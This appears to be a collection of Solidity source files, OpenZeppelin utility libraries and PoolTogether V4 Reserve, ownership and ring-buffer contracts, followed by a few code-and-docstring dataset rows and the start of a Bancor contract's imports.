* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint224 from uint256, reverting on
* overflow (when the input is greater than largest uint224).
*
* Counterpart to Solidity's `uint224` operator.
*
* Requirements:
*
* - input must fit into 224 bits
*/
function toUint224(uint256 value) internal pure returns (uint224) {
require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits");
return uint224(value);
}
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint96 from uint256, reverting on
* overflow (when the input is greater than largest uint96).
*
* Counterpart to Solidity's `uint96` operator.
*
* Requirements:
*
* - input must fit into 96 bits
*/
function toUint96(uint256 value) internal pure returns (uint96) {
require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits");
return uint96(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
// Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
import "./Ownable.sol";
/**
* @title Abstract manageable contract that can be inherited by other contracts
* @notice Contract module based on Ownable which provides a basic access control mechanism, where
* there is an owner and a manager that can be granted exclusive access to specific functions.
*
* By default, the owner is the deployer of the contract.
*
* The owner account is set through a two steps process.
* 1. The current `owner` calls {transferOwnership} to set a `pendingOwner`
* 2. The `pendingOwner` calls {acceptOwnership} to accept the ownership transfer
*
* The manager account needs to be set using {setManager}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyManager`, which can be applied to your functions to restrict their use to
* the manager.
*/
abstract contract Manageable is Ownable {
address private _manager;
/**
* @dev Emitted when `_manager` has been changed.
* @param previousManager previous `_manager` address.
* @param newManager new `_manager` address.
*/
event ManagerTransferred(address indexed previousManager, address indexed newManager);
/* ============ External Functions ============ */
/**
* @notice Gets current `_manager`.
* @return Current `_manager` address.
*/
function manager() public view virtual returns (address) {
return _manager;
}
/**
* @notice Set or change of manager.
* @dev Throws if called by any account other than the owner.
* @param _newManager New _manager address.
* @return Boolean to indicate if the operation was successful or not.
*/
function setManager(address _newManager) external onlyOwner returns (bool) {
return _setManager(_newManager);
}
/* ============ Internal Functions ============ */
/**
* @notice Set or change of manager.
* @param _newManager New _manager address.
* @return Boolean to indicate if the operation was successful or not.
*/
function _setManager(address _newManager) private returns (bool) {
address _previousManager = _manager;
require(_newManager != _previousManager, "Manageable/existing-manager-address");
_manager = _newManager;
emit ManagerTransferred(_previousManager, _newManager);
return true;
}
/* ============ Modifier Functions ============ */
/**
* @dev Throws if called by any account other than the manager.
*/
modifier onlyManager() {
require(manager() == msg.sender, "Manageable/caller-not-manager");
_;
}
/**
* @dev Throws if called by any account other than the manager or the owner.
*/
modifier onlyManagerOrOwner() {
require(manager() == msg.sender || owner() == msg.sender, "Manageable/caller-not-manager-or-owner");
_;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
/**
* @title Abstract ownable contract that can be inherited by other contracts
* @notice Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner is the deployer of the contract.
*
* The owner account is set through a two steps process.
* 1. The current `owner` calls {transferOwnership} to set a `pendingOwner`
* 2. The `pendingOwner` calls {acceptOwnership} to accept the ownership transfer
*
* The manager account needs to be set using {setManager}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable {
address private _owner;
address private _pendingOwner;
/**
* @dev Emitted when `_pendingOwner` has been changed.
* @param pendingOwner new `_pendingOwner` address.
*/
event OwnershipOffered(address indexed pendingOwner);
/**
* @dev Emitted when `_owner` has been changed.
* @param previousOwner previous `_owner` address.
* @param newOwner new `_owner` address.
*/
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/* ============ Deploy ============ */
/**
* @notice Initializes the contract setting `_initialOwner` as the initial owner.
* @param _initialOwner Initial owner of the contract.
*/
constructor(address _initialOwner) {
_setOwner(_initialOwner);
}
/* ============ External Functions ============ */
/**
* @notice Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @notice Gets current `_pendingOwner`.
* @return Current `_pendingOwner` address.
*/
function pendingOwner() external view virtual returns (address) {
return _pendingOwner;
}
/**
* @notice Renounce ownership of the contract.
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() external virtual onlyOwner {
_setOwner(address(0));
}
/**
* @notice Allows current owner to set the `_pendingOwner` address.
* @param _newOwner Address to transfer ownership to.
*/
function transferOwnership(address _newOwner) external onlyOwner {
require(_newOwner != address(0), "Ownable/pendingOwner-not-zero-address");
_pendingOwner = _newOwner;
emit OwnershipOffered(_newOwner);
}
/**
* @notice Allows the `_pendingOwner` address to finalize the transfer.
* @dev This function is only callable by the `_pendingOwner`.
*/
function claimOwnership() external onlyPendingOwner {
_setOwner(_pendingOwner);
_pendingOwner = address(0);
}
/* ============ Internal Functions ============ */
/**
* @notice Internal function to set the `_owner` of the contract.
* @param _newOwner New `_owner` address.
*/
function _setOwner(address _newOwner) private {
address _oldOwner = _owner;
_owner = _newOwner;
emit OwnershipTransferred(_oldOwner, _newOwner);
}
/* ============ Modifier Functions ============ */
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable/caller-not-owner");
_;
}
/**
* @dev Throws if called by any account other than the `pendingOwner`.
*/
modifier onlyPendingOwner() {
require(msg.sender == _pendingOwner, "Ownable/caller-not-pendingOwner");
_;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.6;
import "@pooltogether/owner-manager-contracts/contracts/Manageable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./interfaces/IReserve.sol";
import "./libraries/ObservationLib.sol";
import "./libraries/RingBufferLib.sol";
/**
* @title PoolTogether V4 Reserve
* @author PoolTogether Inc Team
* @notice The Reserve contract provides historical lookups of a token balance increase during a target timerange.
As the Reserve contract transfers OUT tokens, the withdraw accumulator is increased. When tokens are
transfered IN new checkpoint *can* be created if checkpoint() is called after transfering tokens.
By using the reserve and withdraw accumulators to create a new checkpoint, any contract or account
can lookup the balance increase of the reserve for a target timerange.
* @dev By calculating the total held tokens in a specific time range, contracts that require knowledge
of captured interest during a draw period, can easily call into the Reserve and deterministically
determine the newly aqcuired tokens for that time range.
*/
contract Reserve is IReserve, Manageable {
using SafeERC20 for IERC20;
/// @notice ERC20 token
IERC20 public immutable token;
/// @notice Total withdraw amount from reserve
uint224 public withdrawAccumulator;
uint32 private _gap;
uint24 internal nextIndex;
uint24 internal cardinality;
/// @notice The maximum number of twab entries
uint24 internal constant MAX_CARDINALITY = 16777215; // 2**24 - 1
ObservationLib.Observation[MAX_CARDINALITY] internal reserveAccumulators;
/* ============ Events ============ */
event Deployed(IERC20 indexed token);
/* ============ Constructor ============ */
/**
* @notice Constructs Ticket with passed parameters.
* @param _owner Owner address
* @param _token ERC20 address
*/
constructor(address _owner, IERC20 _token) Ownable(_owner) {
token = _token;
emit Deployed(_token);
}
/* ============ External Functions ============ */
/// @inheritdoc IReserve
function checkpoint() external override {
_checkpoint();
}
/// @inheritdoc IReserve
function getToken() external view override returns (IERC20) {
return token;
}
/// @inheritdoc IReserve
function getReserveAccumulatedBetween(uint32 _startTimestamp, uint32 _endTimestamp)
external
view
override
returns (uint224)
{
require(_startTimestamp < _endTimestamp, "Reserve/start-less-then-end");
uint24 _cardinality = cardinality;
uint24 _nextIndex = nextIndex;
(uint24 _newestIndex, ObservationLib.Observation memory _newestObservation) = _getNewestObservation(_nextIndex);
(uint24 _oldestIndex, ObservationLib.Observation memory _oldestObservation) = _getOldestObservation(_nextIndex);
uint224 _start = _getReserveAccumulatedAt(
_newestObservation,
_oldestObservation,
_newestIndex,
_oldestIndex,
_cardinality,
_startTimestamp
);
uint224 _end = _getReserveAccumulatedAt(
_newestObservation,
_oldestObservation,
_newestIndex,
_oldestIndex,
_cardinality,
_endTimestamp
);
return _end - _start;
}
/// @inheritdoc IReserve
function withdrawTo(address _recipient, uint256 _amount) external override onlyManagerOrOwner {
_checkpoint();
withdrawAccumulator += uint224(_amount);
token.safeTransfer(_recipient, _amount);
emit Withdrawn(_recipient, _amount);
}
/* ============ Internal Functions ============ */
/**
* @notice Find optimal observation checkpoint using target timestamp
* @dev Uses binary search if target timestamp is within ring buffer range.
* @param _newestObservation ObservationLib.Observation
* @param _oldestObservation ObservationLib.Observation
* @param _newestIndex The index of the newest observation
* @param _oldestIndex The index of the oldest observation
* @param _cardinality RingBuffer Range
* @param _timestamp Timestamp target
*
* @return Optimal reserveAccumlator for timestamp.
*/
function _getReserveAccumulatedAt(
ObservationLib.Observation memory _newestObservation,
ObservationLib.Observation memory _oldestObservation,
uint24 _newestIndex,
uint24 _oldestIndex,
uint24 _cardinality,
uint32 _timestamp
) internal view returns (uint224) {
uint32 timeNow = uint32(block.timestamp);
// IF empty ring buffer exit early.
if (_cardinality == 0) return 0;
/**
* Ring Buffer Search Optimization
* Before performing binary search on the ring buffer check
* to see if timestamp is within range of [o T n] by comparing
* the target timestamp to the oldest/newest observation.timestamps
* IF the timestamp is out of the ring buffer range avoid starting
* a binary search, because we can return NULL or oldestObservation.amount
*/
/**
* IF oldestObservation.timestamp is after timestamp: T[old ]
* the Reserve did NOT have a balance or the ring buffer
* no longer contains that timestamp checkpoint.
*/
if (_oldestObservation.timestamp > _timestamp) {
return 0;
}
/**
* IF newestObservation.timestamp is before timestamp: [ new]T
* return _newestObservation.amount since observation
* contains the highest checkpointed reserveAccumulator.
*/
if (_newestObservation.timestamp <= _timestamp) {
return _newestObservation.amount;
}
// IF the timestamp is witin range of ring buffer start/end: [new T old]
// FIND the closest observation to the left(or exact) of timestamp: [OT ]
(
ObservationLib.Observation memory beforeOrAt,
ObservationLib.Observation memory atOrAfter
) = ObservationLib.binarySearch(
reserveAccumulators,
_newestIndex,
_oldestIndex,
_timestamp,
_cardinality,
timeNow
);
// IF target timestamp is EXACT match for atOrAfter.timestamp observation return amount.
// NOT having an exact match with atOrAfter means values will contain accumulator value AFTER the searchable range.
// ELSE return observation.totalDepositedAccumulator closest to LEFT of target timestamp.
if (atOrAfter.timestamp == _timestamp) {
return atOrAfter.amount;
} else {
return beforeOrAt.amount;
}
}
/// @notice Records the currently accrued reserve amount.
function _checkpoint() internal {
uint24 _cardinality = cardinality;
uint24 _nextIndex = nextIndex;
uint256 _balanceOfReserve = token.balanceOf(address(this));
uint224 _withdrawAccumulator = withdrawAccumulator; //sload
(uint24 newestIndex, ObservationLib.Observation memory newestObservation) = _getNewestObservation(_nextIndex);
/**
* IF tokens have been deposited into Reserve contract since the last checkpoint
* create a new Reserve balance checkpoint. The will will update multiple times in a single block.
*/
if (_balanceOfReserve + _withdrawAccumulator > newestObservation.amount) {
uint32 nowTime = uint32(block.timestamp);
// checkpointAccumulator = currentBalance + totalWithdraws
uint224 newReserveAccumulator = uint224(_balanceOfReserve) + _withdrawAccumulator;
// IF newestObservation IS NOT in the current block.
// CREATE observation in the accumulators ring buffer.
if (newestObservation.timestamp != nowTime) {
reserveAccumulators[_nextIndex] = ObservationLib.Observation({
amount: newReserveAccumulator,
timestamp: nowTime
});
nextIndex = uint24(RingBufferLib.nextIndex(_nextIndex, MAX_CARDINALITY));
if (_cardinality < MAX_CARDINALITY) {
cardinality = _cardinality + 1;
}
}
// ELSE IF newestObservation IS in the current block.
// UPDATE the checkpoint previously created in block history.
else {
reserveAccumulators[newestIndex] = ObservationLib.Observation({
amount: newReserveAccumulator,
timestamp: nowTime
});
}
emit Checkpoint(newReserveAccumulator, _withdrawAccumulator);
}
}
/// @notice Retrieves the oldest observation
/// @param _nextIndex The next index of the Reserve observations
function _getOldestObservation(uint24 _nextIndex)
internal
view
returns (uint24 index, ObservationLib.Observation memory observation)
{
index = _nextIndex;
observation = reserveAccumulators[index];
// If the TWAB is not initialized we go to the beginning of the TWAB circular buffer at index 0
if (observation.timestamp == 0) {
index = 0;
observation = reserveAccumulators[0];
}
}
/// @notice Retrieves the newest observation
/// @param _nextIndex The next index of the Reserve observations
function _getNewestObservation(uint24 _nextIndex)
internal
view
returns (uint24 index, ObservationLib.Observation memory observation)
{
index = uint24(RingBufferLib.newestIndex(_nextIndex, MAX_CARDINALITY));
observation = reserveAccumulators[index];
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IReserve {
/**
* @notice Emit when checkpoint is created.
* @param reserveAccumulated Total depsosited
* @param withdrawAccumulated Total withdrawn
*/
event Checkpoint(uint256 reserveAccumulated, uint256 withdrawAccumulated);
/**
* @notice Emit when the withdrawTo function has executed.
* @param recipient Address receiving funds
* @param amount Amount of tokens transfered.
*/
event Withdrawn(address indexed recipient, uint256 amount);
/**
* @notice Create observation checkpoint in ring bufferr.
* @dev Calculates total desposited tokens since last checkpoint and creates new accumulator checkpoint.
*/
function checkpoint() external;
/**
* @notice Read global token value.
* @return IERC20
*/
function getToken() external view returns (IERC20);
/**
* @notice Calculate token accumulation beween timestamp range.
* @dev Search the ring buffer for two checkpoint observations and diffs accumulator amount.
* @param startTimestamp Account address
* @param endTimestamp Transfer amount
*/
function getReserveAccumulatedBetween(uint32 startTimestamp, uint32 endTimestamp)
external
returns (uint224);
/**
* @notice Transfer Reserve token balance to recipient address.
* @dev Creates checkpoint before token transfer. Increments withdrawAccumulator with amount.
* @param recipient Account address
* @param amount Transfer amount
*/
function withdrawTo(address recipient, uint256 amount) external;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.6;
import "@openzeppelin/contracts/utils/math/SafeCast.sol";
import "./OverflowSafeComparatorLib.sol";
import "./RingBufferLib.sol";
/**
* @title Observation Library
* @notice This library allows one to store an array of timestamped values and efficiently binary search them.
* @dev Largely pulled from Uniswap V3 Oracle.sol: https://github.com/Uniswap/v3-core/blob/c05a0e2c8c08c460fb4d05cfdda30b3ad8deeaac/contracts/libraries/Oracle.sol
* @author PoolTogether Inc.
*/
library ObservationLib {
using OverflowSafeComparatorLib for uint32;
using SafeCast for uint256;
/// @notice The maximum number of observations
uint24 public constant MAX_CARDINALITY = 16777215; // 2**24
/**
* @notice Observation, which includes an amount and timestamp.
* @param amount `amount` at `timestamp`.
* @param timestamp Recorded `timestamp`.
*/
struct Observation {
uint224 amount;
uint32 timestamp;
}
/**
* @notice Fetches Observations `beforeOrAt` and `atOrAfter` a `_target`, eg: where [`beforeOrAt`, `atOrAfter`] is satisfied.
* The result may be the same Observation, or adjacent Observations.
* @dev The answer must be contained in the array used when the target is located within the stored Observation.
* boundaries: older than the most recent Observation and younger, or the same age as, the oldest Observation.
* @dev If `_newestObservationIndex` is less than `_oldestObservationIndex`, it means that we've wrapped around the circular buffer.
* So the most recent observation will be at `_oldestObservationIndex + _cardinality - 1`, at the beginning of the circular buffer.
* @param _observations List of Observations to search through.
* @param _newestObservationIndex Index of the newest Observation. Right side of the circular buffer.
* @param _oldestObservationIndex Index of the oldest Observation. Left side of the circular buffer.
* @param _target Timestamp at which we are searching the Observation.
* @param _cardinality Cardinality of the circular buffer we are searching through.
* @param _time Timestamp at which we perform the binary search.
* @return beforeOrAt Observation recorded before, or at, the target.
* @return atOrAfter Observation recorded at, or after, the target.
*/
function binarySearch(
Observation[MAX_CARDINALITY] storage _observations,
uint24 _newestObservationIndex,
uint24 _oldestObservationIndex,
uint32 _target,
uint24 _cardinality,
uint32 _time
) internal view returns (Observation memory beforeOrAt, Observation memory atOrAfter) {
uint256 leftSide = _oldestObservationIndex;
uint256 rightSide = _newestObservationIndex < leftSide
? leftSide + _cardinality - 1
: _newestObservationIndex;
uint256 currentIndex;
while (true) {
// We start our search in the middle of the `leftSide` and `rightSide`.
// After each iteration, we narrow down the search to the left or the right side while still starting our search in the middle.
currentIndex = (leftSide + rightSide) / 2;
beforeOrAt = _observations[uint24(RingBufferLib.wrap(currentIndex, _cardinality))];
uint32 beforeOrAtTimestamp = beforeOrAt.timestamp;
// We've landed on an uninitialized timestamp, keep searching higher (more recently).
if (beforeOrAtTimestamp == 0) {
leftSide = currentIndex + 1;
continue;
}
atOrAfter = _observations[uint24(RingBufferLib.nextIndex(currentIndex, _cardinality))];
bool targetAtOrAfter = beforeOrAtTimestamp.lte(_target, _time);
// Check if we've found the corresponding Observation.
if (targetAtOrAfter && _target.lte(atOrAfter.timestamp, _time)) {
break;
}
// If `beforeOrAtTimestamp` is greater than `_target`, then we keep searching lower. To the left of the current index.
if (!targetAtOrAfter) {
rightSide = currentIndex - 1;
} else {
// Otherwise, we keep searching higher. To the left of the current index.
leftSide = currentIndex + 1;
}
}
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.6;
/// @title OverflowSafeComparatorLib library to share comparator functions between contracts
/// @dev Code taken from Uniswap V3 Oracle.sol: https://github.com/Uniswap/v3-core/blob/3e88af408132fc957e3e406f65a0ce2b1ca06c3d/contracts/libraries/Oracle.sol
/// @author PoolTogether Inc.
library OverflowSafeComparatorLib {
/// @notice 32-bit timestamps comparator.
/// @dev safe for 0 or 1 overflows, `_a` and `_b` must be chronologically before or equal to time.
/// @param _a A comparison timestamp from which to determine the relative position of `_timestamp`.
/// @param _b Timestamp to compare against `_a`.
/// @param _timestamp A timestamp truncated to 32 bits.
/// @return bool Whether `_a` is chronologically < `_b`.
function lt(
uint32 _a,
uint32 _b,
uint32 _timestamp
) internal pure returns (bool) {
// No need to adjust if there hasn't been an overflow
if (_a <= _timestamp && _b <= _timestamp) return _a < _b;
uint256 aAdjusted = _a > _timestamp ? _a : _a + 2**32;
uint256 bAdjusted = _b > _timestamp ? _b : _b + 2**32;
return aAdjusted < bAdjusted;
}
/// @notice 32-bit timestamps comparator.
/// @dev safe for 0 or 1 overflows, `_a` and `_b` must be chronologically before or equal to time.
/// @param _a A comparison timestamp from which to determine the relative position of `_timestamp`.
/// @param _b Timestamp to compare against `_a`.
/// @param _timestamp A timestamp truncated to 32 bits.
/// @return bool Whether `_a` is chronologically <= `_b`.
function lte(
uint32 _a,
uint32 _b,
uint32 _timestamp
) internal pure returns (bool) {
// No need to adjust if there hasn't been an overflow
if (_a <= _timestamp && _b <= _timestamp) return _a <= _b;
uint256 aAdjusted = _a > _timestamp ? _a : _a + 2**32;
uint256 bAdjusted = _b > _timestamp ? _b : _b + 2**32;
return aAdjusted <= bAdjusted;
}
/// @notice 32-bit timestamp subtractor
/// @dev safe for 0 or 1 overflows, where `_a` and `_b` must be chronologically before or equal to time
/// @param _a The subtraction left operand
/// @param _b The subtraction right operand
/// @param _timestamp The current time. Expected to be chronologically after both.
/// @return The difference between a and b, adjusted for overflow
function checkedSub(
uint32 _a,
uint32 _b,
uint32 _timestamp
) internal pure returns (uint32) {
// No need to adjust if there hasn't been an overflow
if (_a <= _timestamp && _b <= _timestamp) return _a - _b;
uint256 aAdjusted = _a > _timestamp ? _a : _a + 2**32;
uint256 bAdjusted = _b > _timestamp ? _b : _b + 2**32;
return uint32(aAdjusted - bAdjusted);
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.6;
library RingBufferLib {
/**
* @notice Returns wrapped TWAB index.
* @dev In order to navigate the TWAB circular buffer, we need to use the modulo operator.
* @dev For example, if `_index` is equal to 32 and the TWAB circular buffer is of `_cardinality` 32,
* it will return 0 and will point to the first element of the array.
* @param _index Index used to navigate through the TWAB circular buffer.
* @param _cardinality TWAB buffer cardinality.
* @return TWAB index.
*/
function wrap(uint256 _index, uint256 _cardinality) internal pure returns (uint256) {
return _index % _cardinality;
}
/**
* @notice Computes the negative offset from the given index, wrapped by the cardinality.
* @dev We add `_cardinality` to `_index` to be able to offset even if `_amount` is superior to `_cardinality`.
* @param _index The index from which to offset
* @param _amount The number of indices to offset. This is subtracted from the given index.
* @param _cardinality The number of elements in the ring buffer
* @return Offsetted index.
*/
function offset(
uint256 _index,
uint256 _amount,
uint256 _cardinality
) internal pure returns (uint256) {
return wrap(_index + _cardinality - _amount, _cardinality);
}
/// @notice Returns the index of the last recorded TWAB
/// @param _nextIndex The next available twab index. This will be recorded to next.
/// @param _cardinality The cardinality of the TWAB history.
/// @return The index of the last recorded TWAB
function newestIndex(uint256 _nextIndex, uint256 _cardinality)
internal
pure
returns (uint256)
{
if (_cardinality == 0) {
return 0;
}
return wrap(_nextIndex + _cardinality - 1, _cardinality);
}
/// @notice Computes the ring buffer index that follows the given one, wrapped by cardinality
/// @param _index The index to increment
/// @param _cardinality The number of elements in the Ring Buffer
/// @return The next index relative to the given index. Will wrap around to 0 if the next index == cardinality
function nextIndex(uint256 _index, uint256 _cardinality)
internal
pure
returns (uint256)
{
return wrap(_index + 1, _cardinality);
}
}
|
@inheritdoc IReserve
|
function getReserveAccumulatedBetween(uint32 _startTimestamp, uint32 _endTimestamp)
external
view
override
returns (uint224)
{
require(_startTimestamp < _endTimestamp, "Reserve/start-less-then-end");
uint24 _cardinality = cardinality;
uint24 _nextIndex = nextIndex;
(uint24 _newestIndex, ObservationLib.Observation memory _newestObservation) = _getNewestObservation(_nextIndex);
(uint24 _oldestIndex, ObservationLib.Observation memory _oldestObservation) = _getOldestObservation(_nextIndex);
uint224 _start = _getReserveAccumulatedAt(
_newestObservation,
_oldestObservation,
_newestIndex,
_oldestIndex,
_cardinality,
_startTimestamp
);
uint224 _end = _getReserveAccumulatedAt(
_newestObservation,
_oldestObservation,
_newestIndex,
_oldestIndex,
_cardinality,
_endTimestamp
);
return _end - _start;
}
| 174,121 |
./full_match/40/0x29392EFEd565c13a0901Aeb88e32bf58EEb8a067/sources/ApeOnlyPriceGetter.sol
|
returns the prices of multiple tokens which may or may not be LPs
|
function getRawLPPrices(address[] memory tokens) internal view returns (uint[] memory prices) {
prices = new uint[](tokens.length);
uint nativePrice = getNativePrice();
for (uint i; i < prices.length; i++) {
address token = tokens[i];
uint pegPrice = pegTokenPrice(token, nativePrice);
if (pegPrice != 0) prices[i] = pegPrice;
else prices[i] = getRawLPPrice(token, nativePrice);
}
}
| 9,550,752 |
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/math/Math.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@bancor/token-governance/contracts/ITokenGovernance.sol";
import "../utility/ContractRegistryClient.sol";
import "../utility/Utils.sol";
import "../utility/Time.sol";
import "../utility/interfaces/ICheckpointStore.sol";
